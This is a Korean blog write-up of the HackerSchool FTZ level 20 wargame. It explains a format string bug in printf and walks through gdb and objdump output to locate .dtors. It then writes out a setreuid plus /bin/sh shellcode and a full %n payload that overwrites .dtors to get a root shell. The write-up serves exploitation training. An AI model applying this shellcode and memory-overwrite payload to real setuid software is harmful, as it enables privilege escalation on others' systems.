-
lvl 20Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트 정보는 아래와 같다.
→ fgets로부터 입력받을 수 있는 입력 값의 길이가 79자리로 제한되어 있으므로(bleh가 80바이트) BOF에 의해 RET를 덮어쓰는 것은 불가능하다. 따라서, BOF 문제는 아니다.
→ 하지만, printf(bleh); 에서 포맷스트링 버그를 확인할 수 있다.
→ 먼저, 포맷스트링 버그의 개념을 알아본다.
int printf(
const char *format [ ,argument]...
);
→ 인자의 개수가 정해져있지 않고 넣는데로 인자가 전달되고, printf의 서식문자에 출력이 될 값이 인자로 추가로 붙어 활용된다. 그리고 문자열을 직접 인자로 전달하지않고, 문자열이 저장된 주소 값을 인자로 전달하는 특징이 있다.
→ 여기서, 문자열에 서식문자(%d,%n, ...)를 만나게되면 이를 문자열이 아닌 서식문자로 인식하게 되어, 다음 4바이트 메모리의 서식문자에 매핑하여 출력하는게 포맷 스트링버그의 핵심이다.
→ 간단하게 attackme 프로그램에 AAAA%x를 넣어본다.
[level20@ftz level20]$ ./attackme
AAAA
AAAA
[level20@ftz level20]$ ./attackme
AAAA%x
AAAA4f
[level20@ftz level20]$
→ AAAA%x를 넣었을 때 %x를 서식문자로 인식하여, 다음 바이트를 %x에 맞게 출력한 것을 확인할 수 있다. 이제 이를 이용하여, Exploit을 진행해야 한다.
→ 먼저, 코드를 새로 작성한 후 컴파일 진행 그리고 디버깅을 진행한다.
[level20@ftz tmp]$ vi attackme.c
[level20@ftz tmp]$ gcc attackme.c -o attackme
[level20@ftz tmp]$ ls
attackme attackme.c
[level20@ftz tmp]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x58
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x8
0x080483cb <main+19>: push 0xc1d
0x080483d0 <main+24>: push 0xc1d
0x080483d5 <main+29>: call 0x80482f8 <setreuid>
0x080483da <main+34>: add esp,0x10
0x080483dd <main+37>: sub esp,0x4
0x080483e0 <main+40>: push ds:0x80495c0
0x080483e6 <main+46>: push 0x4f
0x080483e8 <main+48>: lea eax,[ebp-88]
0x080483eb <main+51>: push eax
0x080483ec <main+52>: call 0x80482c8 <fgets>
0x080483f1 <main+57>: add esp,0x10
0x080483f4 <main+60>: sub esp,0xc
0x080483f7 <main+63>: lea eax,[ebp-88]
0x080483fa <main+66>: push eax
0x080483fb <main+67>: call 0x80482e8 <printf>
0x08048400 <main+72>: add esp,0x10
0x08048403 <main+75>: leave
0x08048404 <main+76>: ret
0x08048405 <main+77>: nop
0x08048406 <main+78>: nop
0x08048407 <main+79>: nop
End of assembler dump.
(gdb)
→ 여기서 %n 서식문자를 이용하면 원하는 주소에 실행하고 싶은 쉘코드가 있는 주소를 덮어쓰는 것이 가능하다. %n 서식문자는 이전까지 출력된 문자의 개수를 변수에 저장하는 기능이다.(4바이트), (%hn은 2바이트)
→ 간단히 테스트 코딩을 진행해본다.
→ 위 코드를 보면 %n 서식문자 전에 스트링을 출력하게끔 해놓고, i 변수를 초기화하지 않았지만 i 변수를 출력을 시도해본다. %n에 의해서 앞에 출력된 문자열의 개수가 i 값에 출력될 것이다.
[level20@ftz tmp]$ ./test
12341f2f3f4f12asdf
i : 18
[level20@ftz tmp]$
→ 정확히 18개라고 출력된 것을 확인. 이를 이용하여 주소 값으로 덮어쓰면 메모리 변조가 가능하다.
→ 그리고 %n 을 인식하는 자릿수를 지정가능하다. %임의정수c로 %n이 인식하는 자릿수를 마음대로 정할 수 있다. 그런데, %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에, 스택의 4바이트를 출력하게 된다. 따라서, %임의정수c에 의해서 출력될 4바이트도 입력해주어야 한다.
→ 여기까지 포맷스트링 취약점을 이용해 덮어쓰는 원리에 대해서 알았지만, 어떤 공간에 어떤 값을 써야하는지에 대한 문제를 해결해야 한다. 일단, 어떤 공간을 찾아보면 ret 주소인데, 사실 ret 주소를 찾을 수 없다.
→ 그래서, .dtors 라는 것을 이용해야 하는데, elf 파일 포맷 구조에서 main 함수가 끝나고 실행이되는 명령이 있는 장소이다. 이것은 gcc 컴파일러로 컴파일한 경우에만 존재하는 공간으로, 보통 gcc 컴파일러를 많이 이용하므로 해당 공간이 존재한다.
→ .dtors 주소를 알아내기 위해서 objdump를 이용하여 주소 값을 구한다.
[level20@ftz level20]$ objdump -h attackme
attackme: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 080480f4 080480f4 000000f4 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .hash 00000034 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .dynsym 00000080 0804815c 0804815c 0000015c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynstr 00000061 080481dc 080481dc 000001dc 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gnu.version 00000010 0804823e 0804823e 0000023e 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version_r 00000020 08048250 08048250 00000250 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .rel.dyn 00000010 08048270 08048270 00000270 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rel.plt 00000020 08048280 08048280 00000280 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .init 00000017 080482a0 080482a0 000002a0 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .plt 00000050 080482b8 080482b8 000002b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .text 00000188 08048308 08048308 00000308 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .fini 0000001b 08048490 08048490 00000490 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .rodata 00000008 080484ac 080484ac 000004ac 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .eh_frame 00000004 080484b4 080484b4 000004b4 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .data 0000000c 080494b8 080494b8 000004b8 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .dynamic 000000c8 080494c4 080494c4 000004c4 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .ctors 00000008 0804958c 0804958c 0000058c 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 00000008 08049594 08049594 00000594 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 0804959c 0804959c 0000059c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got 00000020 080495a0 080495a0 000005a0 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .bss 00000008 080495c0 080495c0 000005c0 2**2
ALLOC
22 .comment 00000132 00000000 00000000 000005c0 2**0
CONTENTS, READONLY
23 .debug_aranges 00000078 00000000 00000000 000006f8 2**3
CONTENTS, READONLY, DEBUGGING
24 .debug_pubnames 00000025 00000000 00000000 00000770 2**0
CONTENTS, READONLY, DEBUGGING
25 .debug_info 00000a84 00000000 00000000 00000795 2**0
CONTENTS, READONLY, DEBUGGING
26 .debug_abbrev 00000138 00000000 00000000 00001219 2**0
CONTENTS, READONLY, DEBUGGING
27 .debug_line 0000027c 00000000 00000000 00001351 2**0
CONTENTS, READONLY, DEBUGGING
28 .debug_frame 00000014 00000000 00000000 000015d0 2**2
CONTENTS, READONLY, DEBUGGING
29 .debug_str 000006ba 00000000 00000000 000015e4 2**0
CONTENTS, READONLY, DEBUGGING
→ 여기서 VMA과 LMA 개념이 나오는데 생략한다. VMA(Virtual memory address), LMA(Load memory address)
→ 0x08049594 인데, + 4바이트인 것을 참조하므로 _4 한 주소에 쉘 코드 주소를 덮으면 된다.
0x08049594 + 0x4 = 0x08049598
→ 에그쉘 주소 값을 구한다.
[level19@ftz level19]$ export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
#include <stdio.h>
int main()
{
printf("addr: %p\n", getenv("SHELLCODE"));
return 0;
}
[level20@ftz tmp]$ ./abc
adddr: 0xbffffc1f
→ 이렇게 되면, 페이로드 구성이 가능하다.
(python -c 'print "\x90\x90\x90\x90\x98\x95\x04\x08\x90\x90\x90\x90\x9a\x95\x04\x08%8x%8x%8x%64503c%n%50144c%n"';cat)|./attackme
→ \x90 4개를 붙히고, \x98\x95\x04\x08은 dtors의 주소이다. 다시 \x90 4개를 붙히고, \x9a\x95\x04\x08은 dtors주소의 +3한 값인데, 뒤에 \x8x가 3개인 것을 확인해서이다.
→ 마지막으로, %64503은 쉘코드 주소 fc1f에서 지금까지 출력된 문자수 40을 뺀 값이고, %50144는 쉘코드 주소 bffff에서 방금전의 fc1f을 뺀 값이다.
댓글